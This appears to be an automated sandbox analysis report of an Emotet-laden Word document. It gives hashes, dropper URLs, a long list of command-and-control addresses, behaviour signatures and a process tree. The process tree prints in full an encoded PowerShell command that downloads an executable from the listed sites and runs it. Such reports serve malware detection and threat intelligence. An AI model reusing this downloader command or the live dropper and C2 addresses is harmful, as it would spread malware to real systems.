emotet | 299e08ed38b367c0db78b21b67f5fe0cd2c2d4505726b00e76e1e3da495f6a1b

General

Target
SLBUB9月.doc
Size 162KB
Sample200924-5f179qrda2
SHA256 299e08ed38b367c0db78b21b67f5fe0cd2c2d4505726b00e76e1e3da495f6a1b
MD5 a841469a7d37526382c12605bbb08822
SHA1 e4dd79eb827e664757482f940218ada8ba1b283e
SHA512 51204a4c207fc4db2b87ebb5ff84449c7c4fb3577548891f023478a61fecaa9f064f75d6970a65867a770064efae4d26275de2344a4f7da7c315667138e25c1c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://guitarsforisrael.org/QPOUUYxLBk/1nprgf/
exe.dropper
http://sadanandpvc.com/twitter/BssXB/
exe.dropper
http://help-m2c.eccang.com/pseovck27kr/T/
exe.dropper
http://youtube-monetization.com/qrnsp/2v/
exe.dropper
http://ahrgintl.com/alfacgiapi/jg1VUae/
exe.dropper
http://helionspharmaceutical.com/wp-admin/Xg/
exe.dropper
http://hanulmotors.com/nbqso/H0DdOyB/

Extracted

Family

emotet

C2

174.106.122.139:80
159.203.116.47:8080
173.249.6.108:443
104.236.246.93:8080
174.45.13.118:80
137.59.187.107:8080
94.200.114.161:80
37.187.72.193:8080
67.10.155.92:80
121.124.124.40:7080
24.43.99.75:80
75.139.38.211:80
109.74.5.95:8080
137.119.36.33:80
74.134.41.124:80
66.65.136.14:80
94.1.108.190:443
181.169.235.7:80
79.137.83.50:443
104.131.44.150:8080
121.7.127.163:80
96.249.236.156:443
120.150.60.189:80
134.209.36.254:8080
110.145.77.103:80
118.83.154.64:443
71.72.196.159:80
50.91.114.38:80
62.75.141.82:80
157.245.99.39:8080
140.186.212.146:80
168.235.67.138:7080
104.131.11.150:443
78.24.219.147:8080
46.105.131.79:8080
104.251.33.179:80
24.43.32.186:80
200.114.213.233:8080
153.137.36.142:80
85.96.199.93:80
94.23.237.171:443
5.39.91.110:7080
85.152.162.105:80
162.241.242.173:8080
213.196.135.145:80
139.99.158.11:443
194.187.133.160:443
78.187.156.31:80
1.221.254.82:80
124.41.215.226:80
139.130.242.43:80
209.141.54.221:8080
87.106.136.232:8080
83.169.36.251:8080
195.7.12.8:80
185.94.252.104:443
95.213.236.64:8080
42.200.107.142:80
203.153.216.189:7080
68.188.112.97:80
5.196.74.210:8080
87.106.139.101:8080
104.32.141.43:80
94.124.59.22:8080
74.219.172.26:80
108.46.29.236:80
93.147.212.206:80
172.104.97.173:8080
190.240.194.77:443
103.86.49.11:8080
74.208.45.104:8080
82.80.155.43:80
61.19.246.238:443
139.162.108.71:8080
121.7.31.214:80
188.219.31.12:80
37.139.21.175:8080
181.169.34.190:80
219.74.18.66:443
123.176.25.234:80
216.139.123.119:80
79.98.24.39:8080
62.30.7.67:443
139.162.60.124:8080
176.111.60.55:8080
91.211.88.52:7080
172.91.208.86:80
139.59.60.244:8080
89.216.122.92:80
142.112.10.95:20
107.5.122.110:80
50.35.17.13:80
97.82.79.83:80
68.252.26.78:80
110.142.236.207:80
47.144.21.12:443
24.137.76.62:80
220.245.198.194:80
74.120.55.163:80
24.179.13.119:80
113.61.66.94:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2676	3372	POWeRsHeLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/752-12-0x00000000005D0000-0x00000000005E2000-memory.dmp	emotet
behavioral2/memory/752-12-0x00000000005D0000-0x00000000005E2000-memory.dmp	emotet
behavioral2/memory/752-13-0x0000000000600000-0x0000000000610000-memory.dmp	emotet
behavioral2/memory/752-13-0x0000000000600000-0x0000000000610000-memory.dmp	emotet
behavioral2/memory/3424-16-0x0000000002000000-0x0000000002012000-memory.dmp	emotet
behavioral2/memory/3424-16-0x0000000002000000-0x0000000002012000-memory.dmp	emotet
behavioral2/memory/3424-17-0x0000000002020000-0x0000000002030000-memory.dmp	emotet
behavioral2/memory/3424-17-0x0000000002020000-0x0000000002030000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
21	2676	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
752	Bxpa1zx6.exe
3424	netprofm.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\WMVENCOD\netprofm.exe	Bxpa1zx6.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3576	WINWORD.EXE
3576	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2676	POWeRsHeLL.exe
2676	POWeRsHeLL.exe
2676	POWeRsHeLL.exe
3424	netprofm.exe
3424	netprofm.exe
3424	netprofm.exe
3424	netprofm.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3576	WINWORD.EXE
3576	WINWORD.EXE
3576	WINWORD.EXE
3576	WINWORD.EXE
3576	WINWORD.EXE
3576	WINWORD.EXE
3576	WINWORD.EXE
3576	WINWORD.EXE
3576	WINWORD.EXE
3576	WINWORD.EXE
752	Bxpa1zx6.exe
3424	netprofm.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 752	2676	POWeRsHeLL.exe	80
PID 2676 wrote to memory of 752	2676	POWeRsHeLL.exe	80
PID 2676 wrote to memory of 752	2676	POWeRsHeLL.exe	80
PID 752 wrote to memory of 3424	752	Bxpa1zx6.exe	81
PID 752 wrote to memory of 3424	752	Bxpa1zx6.exe	81
PID 752 wrote to memory of 3424	752	Bxpa1zx6.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SLBUB9月.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3576

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABVAGoAeQB4AHIAcQBlAD0AKAAnAEYAcAAnACsAKAAnAHIAJwArACcAZwBlACcAKQArACcAcAB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBGAGkATABlAFwAcwA0AFgAZAAwADIAMABcAFMAZQBNAFcANABwAHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAYABVAHIASQB0AHkAYABwAHIATwBUAE8AYABjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACcAKQArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQATgBoAGQAZABpADYAZgAgAD0AIAAoACgAJwBCAHgAJwArACcAcABhACcAKQArACcAMQAnACsAKAAnAHoAJwArACcAeAA2ACcAKQApADsAJABTAGUAcAB5ADgAawBkAD0AKAAoACcAWgAnACsAJwBrAF8AZwAnACkAKwAnAHQAeQAnACsAJwBqACcAKQA7ACQAUABkADgANQB1AGEAdAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQBTADQAJwArACcAeABkADAAMgAwAHsAMAAnACsAJwB9AFMAJwArACgAJwBlAG0AdwAnACsAJwA0ACcAKQArACcAcAAnACsAJwBxAHsAMAB9ACcAKQAgACAALQBGACAAWwBDAGgAYQByAF0AOQAyACkAKwAkAE4AaABkAGQAaQA2AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoANwB0AGoANABkAGsAPQAoACgAJwBVAHUAJwArACcAZgBfACcAKQArACgAJwBxAG8AJwArACcAZQAnACkAKQA7ACQATAB2ADUAawAxAG4AawA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBDAGwAaQBFAE4AVAA7ACQASAAyAHMAXwBuAGgAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvACcAKwAoACcAZwAnACsAJwB1AGkAJwApACsAJwB0AGEAJwArACcAcgAnACsAKAAnAHMAJwArACcAZgBvACcAKQArACgAJwByAGkAJwArACcAcwAnACkAKwAnAHIAJwArACcAYQBlACcAKwAoACcAbAAnACsAJwAuAG8AJwApACsAKAAnAHIAJwArACcAZwAvAFEAUAAnACsAJwBPAFUAJwApACsAJwBVAFkAJwArACgAJwB4ACcAKwAnAEwAQgBrACcAKQArACcALwAxACcAKwAoACcAbgBwAHIAJwArACcAZwBmACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBzAGEAZAAnACsAJwBhAG4AYQAnACkAKwAnAG4AJwArACcAZAAnACsAKAAnAHAAdgAnACsAJwBjACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdAAnACsAJwB3ACcAKwAnAGkAdAAnACkAKwAoACcAdABlAHIAJwArACcALwBCACcAKQArACgAJwBzACcAKwAnAHMAWAAnACsAJwBCAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBoAGUAbABwACcAKwAnAC0AbQAyAGMALgAnACsAJwBlACcAKwAnAGMAJwArACcAYwBhAG4AZwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwBwACcAKwAnAHMAJwApACsAKAAnAGUAJwArACcAbwB2AGMAawAyACcAKQArACgAJwA3AGsAJwArACcAcgAnACkAKwAoACcALwBUACcAKwAnAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHkAbwAnACsAJwB1AHQAdQBiACcAKwAnAGUALQBtAG8AbgBlAHQAaQAnACkAKwAnAHoAYQAnACsAJwB0AGkAJwArACgAJwBvAG4AJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAcQByAG4AcwAnACsAJwBwAC8AMgAnACkAKwAnAHYAJwArACcALwAnACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AYQAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGcAJwArACcAaQBuAHQAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBhAGwAZgBhACcAKwAnAGMAJwArACcAZwAnACkAKwAoACcAaQBhAHAAaQAvACcAKwAnAGoAZwAnACkAKwAoACcAMQBWACcAKwAnAFUAJwApACsAJwBhAGUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AaAAnACsAJwBlAGwAaQBvAG4AcwAnACkAKwAoACcAcABoACcAKwAnAGEAcgAnACkAKwAnAG0AJwArACgAJwBhAGMAZQAnACsAJwB1AHQAaQBjAGEAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwApACsAJwBYACcAKwAoACcAZwAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAYQAnACkAKwAoACcAbgB1AGwAbQAnACsAJwBvACcAKQArACgAJwB0AG8AJwArACcAcgBzAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAbgBiACcAKQArACcAcQAnACsAKAAnAHMAJwArACcAbwAvACcAKQArACgAJwBIADAAJwArACcARABkAE8AeQAnACsAJwBCAC8AJwApACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQB0ADMAbQB6AHcAbAA9ACgAKAAnAEoAJwArACcAcABlAGUAJwArACcAdgBuACcAKQArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABLAGgAMgBlADQAbQAzACAAaQBuACAAJABIADIAcwBfAG4AaAB0ACkAewB0AHIAeQB7ACQATAB2ADUAawAxAG4AawAuACIARABgAE8AVwBuAGwAbwBBAGAAZABGAGkAYABMAEUAIgAoACQASwBoADIAZQA0AG0AMwAsACAAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEUAbQBuADUAZAB2AGwAPQAoACgAJwBWACcAKwAnADcANwAnACkAKwAnAG0AZQAnACsAJwBlAGsAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFAAZAA4ADUAdQBhAHQAKQAuACIAbABgAGUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADkAOAApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEoAbgBhADgAOQBfADIAPQAoACgAJwBLADcAJwArACcAbgAnACkAKwAoACcAXwBnAF8AJwArACcAcAAnACkAKQA7AGIAcgBlAGEAawA7ACQARQA1AGUAYQBsAHQAaQA9ACgAKAAnAEUAcwAnACsAJwA1ADIAMABfACcAKQArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AMABoAF8AdABjAGkAPQAoACgAJwBQAGoAJwArACcAegB6ACcAKQArACgAJwAwAHcAJwArACcAeQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2676
- C:\Users\Admin\S4xd020\Semw4pq\Bxpa1zx6.exe
  "C:\Users\Admin\S4xd020\Semw4pq\Bxpa1zx6.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Windows\SysWOW64\WMVENCOD\netprofm.exe
    "C:\Windows\SysWOW64\WMVENCOD\netprofm.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3424

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/752-13-0x0000000000600000-0x0000000000610000-memory.dmp

Download

memory/752-12-0x00000000005D0000-0x00000000005E2000-memory.dmp

Download

memory/2676-8-0x000001712A860000-0x000001712A861000-memory.dmp

Download

memory/2676-7-0x0000017112520000-0x0000017112521000-memory.dmp

Download

memory/2676-6-0x00007FFA92C00000-0x00007FFA935EC000-memory.dmp

Download

memory/3424-16-0x0000000002000000-0x0000000002012000-memory.dmp

Download

memory/3424-17-0x0000000002020000-0x0000000002030000-memory.dmp

Download

memory/3576-0-0x00007FFA99DB0000-0x00007FFA9A476000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads